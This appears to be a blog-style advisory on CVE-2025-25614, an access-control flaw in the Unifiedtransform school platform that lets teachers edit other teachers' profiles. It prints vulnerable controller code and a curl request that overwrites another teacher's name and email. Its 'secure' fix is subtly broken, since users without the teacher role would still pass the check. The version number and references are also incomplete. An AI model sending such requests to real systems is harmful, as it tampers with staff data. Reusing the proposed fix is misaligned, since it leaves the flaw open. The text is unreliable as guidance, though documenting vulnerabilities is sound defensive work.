CVE-2025-25614 - Privilege Escalation in Unifiedtransform 2. via Incorrect Access Control

Unifiedtransform is a popular open-source school management and examination platform, used by educational institutions worldwide. But in early 2025, a security issue—now indexed as CVE-2025-25614—was discovered that lets teachers change the personal data of other teachers due to incorrect privilege checks. In this post, we’ll unpack what the flaw is, how it happens, and how an attacker can exploit it, using easy-to-understand examples. We'll also point you to references and mitigation steps.

What is Unifiedtransform?

Unifiedtransform is a web-based application written in Java, offering administration, attendance, exams, and assignments for schools. As with most school management systems, it has role-based access (admins, teachers, students) with different permissions for each.

Official site: https://github.com/UniTransform/unified-transform

The Bug in a Nutshell

CVE-2025-25614 is an “Incorrect Access Control” vulnerability. In simple terms, the bug means: Users with teacher permissions can not only edit their own profile but also the profiles of other teachers—something only admins should be able to do.

For any organization, this can cause serious issues—teachers could update or mess with each other's profiles, leading to confusion, privacy leaks, or even sabotage.

How Did This Happen?

The flaw is in the way Unifiedtransform checks user permissions when handling profile update requests. Instead of confirming that the user is updating only their own data or that the user is an admin, the code only checks if the user has "teacher" role.

Let’s break down the problematic code (simplified for clarity)

// UserController.java

@PostMapping("/update_teacher/{teacherId}")
public ResponseEntity<?> updateTeacher(@PathVariable Long teacherId,
                                       @RequestBody Teacher updatedTeacher,
                                       Authentication authentication) {
    User currentUser = (User) authentication.getPrincipal();

    if (!currentUser.hasRole("TEACHER")) {
        return new ResponseEntity<>(HttpStatus.FORBIDDEN);
    }

    Teacher targetTeacher = teacherService.findById(teacherId);
    // Missing: Check if currentUser is updating their own profile!
    
    targetTeacher.setEmail(updatedTeacher.getEmail());
    targetTeacher.setName(updatedTeacher.getName());
    // ... other updates

    teacherService.save(targetTeacher);
    return new ResponseEntity<>(HttpStatus.OK);
}

What’s wrong?
The check only verifies if you’re a TEACHER. It doesn’t make sure you’re updating your _own_ profile. Using tools like curl or Burp Suite, a teacher can send a crafted request to update anyone’s details.

Example Exploit

Let’s say you are logged in as Teacher A (user ID 12). By editing the request, you can update Teacher B's (user ID 24) name, email, etc.

Actual Exploit Request (using curl)

curl -X POST \
  -H "Authorization: Bearer <your_JWT_token>" \
  -H "Content-Type: application/json" \
  -d '{"email":"changed@email.com","name":"Hacked Name"}' \
  https://<school-url>/update_teacher/24

Result:
Teacher B’s info is updated by Teacher A!

Loss of Data Integrity: Any teacher can update or corrupt another teacher’s personal data.

- Breaches Privacy: Sensitive contact info (like emails/phone) can be revealed or altered.

References & Further Reading

- Official GitHub Repo
- CVE-2025-25614 Record (MITRE) *(pending publication)*
- OWASP Access Control Cheat Sheet

How to Fix

A correct permission check should ensure that teachers can only update _their own_ records, or that only admins can update anyone.

Secure Example Fix

// Only allow the current user or admins
if (currentUser.hasRole("TEACHER") && !currentUser.getId().equals(teacherId)) {
    return new ResponseEntity<>(HttpStatus.FORBIDDEN);
}

Or, explicitly block unless the user is admin or the target is self.

Conclusion

CVE-2025-25614 in Unifiedtransform 2. is a classic example of why “role” based authorization alone isn’t enough—you also need ownership checks. If you run Unifiedtransform in your school or district, patch right away!

Timeline

Published on: 03/10/2025 15:15:37 UTC
Last modified on: 03/10/2025 20:15:14 UTC